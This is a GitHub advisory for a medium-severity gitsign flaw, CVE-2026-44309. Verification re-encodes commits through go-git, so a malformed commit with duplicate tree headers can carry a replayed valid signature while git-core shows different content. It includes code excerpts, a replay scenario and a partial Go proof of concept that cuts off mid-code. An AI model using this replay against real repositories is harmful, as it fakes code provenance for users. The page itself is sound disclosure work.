GitHub Advisoryadvisory · Go

GHSA-7rmh-48mx-2vwc gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits

MEDIUM Published 2026-05-08 Modified 2026-05-15 Official page ↗
Aliases
CVE-2026-44309
Ecosystem
Go
Packages
github.com/sigstore/gitsign
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Weaknesses
CWE-295, CWE-347
Reviewed
2026-05-08

Affected packages

• Go github.com/sigstore/gitsign: < 0.16.0 → fixed in 0.16.0

Description

Summary `gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. Severity Medium (CVSS 3.1: 5.7) `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N` • Attack Vector: Network — a malformed commit can be distributed via any accessible git remote • Attack Complexity: High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled) • Privileges Required: None — the most impactful form (signature replay) requires no signing key • User Interaction: Required — a victim must run `gitsign verify` on the malformed commit • Scope: Unchanged — impact is confined to the repository under verification • Confidentiality Impact: None • Integrity Impact: High — a verified signature appears to endorse content different from what git-core resolves and presents to users • Availability Impact: None Affected Component • `internal/commands/verify/verify.go` — `(o *options).Run` (line 75) • `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77) • `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176) CWE • CWE-347: Improper Verification of Cryptographic Signature • CWE-295: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered) Description Root cause: re-encoding instead of raw-byte verification When `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier: ```go // internal/commands/verify/verify.go:63–92 c, err := repo.CommitObject(*h) // go-git parses the raw object ... c2 := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form return err } r, _ := c2.Reader() data, _ := io.ReadAll(r) summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes ``` The same pattern appears in `verify-tag`: ```go // internal/commands/verify-tag/verify_tag.go:76–95 tagData := new(plumbing.MemoryObject) if err := tagObj.EncodeWithoutSignature(tagData); err != nil { return err } ``` The loose-parsing assumption in go-git The codebase itself acknowledges the problem in `ObjectHash`: ```go // pkg/git/verify.go:137–142 // We're making big assumptions here about the ordering of fields // in Git objects. Unfortunately go-git does loose parsing of objects, // so it will happily decode objects that don't match the unmarshal type. // We should see if there's a better way to detect object types. switch { case bytes.HasPrefix(data, []byte("tree ")): encoder, err = commit(obj, sig) ``` go-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves. Divergent verification paths confirm the inconsistency The `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does not re-encode them: ```go // internal/commands/root/verify.go:56–70 detached := len(args) >= 2 if detached { data, sig, err = readDetached(s, args...) // raw bytes from git-core } else { sig, err = readAttached(s, args...) } ... summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding ``` The two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes). Concrete attack: signature replay without a signing key An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice: ``` tree T1 ← Alice's real tree (what go-git and gitsign see) author Alice ... committer Alice ... gpgsig -----BEGIN SIGNED MESSAGE----- -----END SIGNED MESSAGE----- This is Alice's commit. ``` An attacker crafts a new malformed commit object: ``` tree T2 ← attacker's malicious tree (git-core uses this) tree T1 ← Alice's tree (go-git uses this) author Alice ... committer Alice ... gpgsig -----BEGIN SIGNED MESSAGE----- -----END SIGNED MESSAGE----- This is Alice's commit. ``` • `gitsign verify`: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from [email protected]." • `git log` / `git-core`: uses T2 (attacker-controlled content). • Rekor lookup: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object. The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`. Proof of Concept ```go // poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go package main import ( "context" "crypto" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "fmt" "io" "math/big" "strings" "time" "github.com/go-git/go-git/v5/plumbing" "github.com/go-git/go-git/v5/plumbing/object" "github.com/go-git/go-git/v5/storage/memory" "github.com/sigstore/gitsign/internal/signature" ggit "github.com/sigstore/gitsign/pkg/git" ) type identity struct { cert *x509.Certificate priv crypto.Signer } func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil } func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil } func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil } func (i *identity) Delete() error { return nil } func (i *identity) Close() {} func indentSig(sig string) string { sig = strings.TrimSuffix(sig, "\n") lines := strings.Split(sig, "\n") out := "gpgsig " + lines[0] + "\n" for _, ln := range lines[1:] { out += " " + ln + "\n" } return out } func main() { priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "attacker"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning}, BasicConstraintsValid: true, } rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv) cert, _ := x509.ParseCertificate(rawCert) treeFirst := strings.Repeat("a", 40) // git-core uses this treeSecond := strings.Repeat("b", 40) // go-git uses this author := "author Eve <[email protected]…

Related

Alias · CVE (1)

  • CVE-2026-44309 Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. vulnerability

Weakness · CWE (2)

  • CWE-295 Improper Certificate Validation weakness
  • CWE-347 Improper Verification of Cryptographic Signature weakness

References